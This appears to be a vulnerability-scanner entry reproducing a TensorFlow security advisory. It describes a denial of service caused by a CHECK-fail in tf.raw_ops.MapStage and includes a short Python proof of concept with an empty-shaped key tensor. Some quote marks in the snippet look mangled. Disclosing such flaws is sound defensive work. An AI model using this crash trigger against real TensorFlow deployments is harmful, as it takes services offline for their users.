QID 981542

Security update has been released for tensorflow-gpu,tensorflow,tensorflow-cpu to fix the vulnerability.

Note: The preceding description block is extracted directly from the security advisory. Using automation, we have attempted to clean and format it as much as possible without introducing additional issues.

An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.MapStage`:

```python
import tensorflow as tf

tf.raw_ops.MapStage(
key=tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64),
indices=tf.constant((0), dtype=tf.int32),
values=[tf.constant((0), dtype=tf.int32)],
dtypes=[tf.int32,
tf.int64],
capacity=0,
memory_limit=0,
container=',
shared_name=')
```

The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the `key` input is a valid non-empty tensor.
